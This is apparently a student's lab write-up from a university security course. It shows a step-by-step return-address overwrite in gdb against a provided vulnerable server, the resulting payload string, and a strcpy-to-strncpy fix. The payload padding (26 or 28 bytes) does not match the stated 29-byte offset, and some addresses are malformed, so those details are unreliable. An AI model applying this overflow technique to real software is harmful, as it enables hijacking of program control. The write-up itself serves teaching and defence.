ECE 40400: Introduction to Computer Security

Spring 2024

Prateek Yashwant Jannu

Purdue University, West Lafayette

Professor: Dr. Avinash C Kak

Specially crafted buffer overflow string

AAAAAAAAAAAAAAAAAAAAAAAAAA\xde\x56\x55\x55\x55\x55\x00\x00

```
Breakpoint 2, 0x000055555555556d8 in clientComm ()
(gdb) si
0x000055555555556d9 in clientComm ()
(gdb) si
0x00005555555556de in secretFunction ()
(gdb) cont
Continuing.
You weren't supposed to get here!
[Inferior 1 (process 1127968) exited with code 01]
(gdb)
```

Procedure to craft the string!

1. **Compile and run gdb server**

2. **Set a breakpoint in vulnerable function clientComm()**

```
(gdb) break clientComm
Breakpoint 1 at 0x159a
```

3. **Run the server at any high valued port, I used 9034**

```
(gdb) r 9034
Starting program: /home/shay/a/pjannu/Desktop/ece404/HW10/server 9034
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Connected from 127.0.0.1
```

4. **Run the given client on another terminal and enter a random character to calculate the offset later**

```
pjannu@eceprog3:~/Desktop/ece404/HW10$ ./client 127.0.0.1
Say something: a
You Said: a
```

5. **Now we need to set a breakpoint at the leave instruction to see how far or calculate the offset of the strcpy to the return address for that we first run**

   a) **Disas clientComm and set breakpoint at the leave instruction**

```
   0x000055555555556ca <+312>:    mov    $0x1,%edi
   0x000055555555556cf <+317>:    call   0x555555555290 <exit@plt>
   0x000055555555556d4 <+322>:    mov    -0x10(%rbp),%rax
   0x000055555555556d8 <+326>:    leave
   0x000055555555556d9 <+327>:    ret
End of assembler dump.
(gdb) break *0x000055555555556d8
Breakpoint 2 at 0x5555555556d8
```

   b) **Now continue so that our program reaches the leave instruction**

```
(gdb) cont
Continuing.
RECEIVED: a
RECEIVED BYTES: 2
```

c) Now we need to check the return address present on the stack of the clientComm that we want replace

Use this command which is given in lecture notes

```
(gdb) print /x *((unsigned *) $rbp + 2)
$1 = 0x55555588
```

This means we need to replace **0x55555588** with address of **secrectFunction()**

d) Now let's check how far 0x55555588 is from our input a

Run x /100b $rsp which gives you the present 100 bytes from the stack pointer

```
(gdb) x /100b $rsp
0x7fffffffd290: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd298: 0xf8    0xd2    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd2a0: 0x20    0xd3    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd2a8: 0x48    0xd4    0xff    0xff    0x04    0x00    0x00    0x00
0x7fffffffd2b0: 0xa9    0x53    0x55    0x55    0x55    0x55    0x00    0x00
0x7fffffffd2b8: 0xbb    0x96    0xe9    0x61    0x0a    0x00    0x00    0x00
0x7fffffffd2c0: 0x10    0xe0    0xad    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffd2c8: 0x54    0x66    0xda    0xf7    0x02    0x00    0x00    0x00
0x7fffffffd2d0: 0x30    0xd3    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd2d8: 0x88    0x55    0x55    0x55    0x55    0x55    0x00    0x00
0x7fffffffd2e0: 0x48    0xd4    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffd2e8: 0x59    0xd8    0xff    0xff    0x02    0x00    0x00    0x00
0x7fffffffd2f0: 0x00    0x10    0xfc    0xf7
```

As you can see a is **29 bytes away** from the return address as mentioned above.

e) **Now let's get the address of secretFunction using disas**

```
(gdb) disas secretFunction
Dump of assembler code for function secretFunction:
   0x00005555555556da <+0>:     endbr64
   0x00005555555556de <+4>:     push   %rbp
   0x00005555555556df <+5>:     mov    %rsp,%rbp
   0x00005555555556e2 <+8>:     lea    0x9c7(%rip),%rax        # 0
   0x00005555555556e9 <+15>:    mov    %rax,%rdi
   0x00005555555556ec <+18>:    call   0x5555555551b0 <puts@plt>
   0x00005555555556f1 <+23>:    mov    $0x1,%edi
   0x00005555555556f6 <+28>:    call   0x555555555290 <exit@plt>
End of assembler dump.
```

As you can see we need to replace the address from the previous **step d** with the **address shown above** with the offset **(29, see step d)** so that we can enter the **secretFunction**

f) **Now we craft the string to perform buffer overflow**

Offset(29 step-d) + Address in little endian (step-e) + \x00 +\x00

(for overwriting LineFeed)

AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xde\x56\x55\x55\x55\x55\x00\x00

g) **And that's it enter this in client and run, we should end up in the secretFunction**

```
0x00005555555556de in secretFunction ()
(gdb) cont
Continuing.
You weren't supposed to get here!
[Inferior 1 (process 1127968) exited with code 01]
(gdb)
```

2)Fixing the buffer overflow problem in clientComm

The line strcpy(str, recvBuff) is a security risk because it blindly copies data from recvBuff into str without checking the length. This can lead to a buffer overflow vulnerability.

Solution

To solve this risk, need to use a safer function for copying data that ensures we do not exceed the buffer size. replace strcpy with strncpy and specify the maximum number of bytes to copy.

Here's how to implement the fix:

Replace line **strcpy(str, recvBuff); in server.c file.** with

strncpy(str, recvBuff, MAX_DATA_SIZE);

Here, **MAX_DATA_SIZE** should be replaced with the actual size of the buffer str.

MAX_DATA_SIZE is defined appropriately to prevent buffer overflow vulnerabilities. It should be equal to the size of the buffer str minus 1 (to leave room for the null terminator).

Testing the modified code to ensure it functions as expected.

Before Fix:

```
0x00005555555556de in secretFunction ()
(gdb) cont
Continuing.
You weren't supposed to get here!
[Inferior 1 (process 1127968) exited with code 01]
(gdb)
```

after the fix:

```
pjannu@eceprog3:~/Desktop/ece404/HW10$ ./client 127.0.0.1
Say something: AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xde\x56\x55\x55\x55\x55\x00\x00
You Said: AAAAA
Say something:
```

Does not **overflow** and loops back to **Say Something**

```
(gdb) cont
Continuing.

Breakpoint 1, 0x00005555555555c9 in clientComm ()
(gdb)
```

Loop back to the start of **clientComm** and work as expected without entering **secretFunction**

PROCMAILRC

3) Currently in the process of receiving a new email for the assignment, have Contacted and Informed the GTA and are working with ECN to get the issue resolved, thank you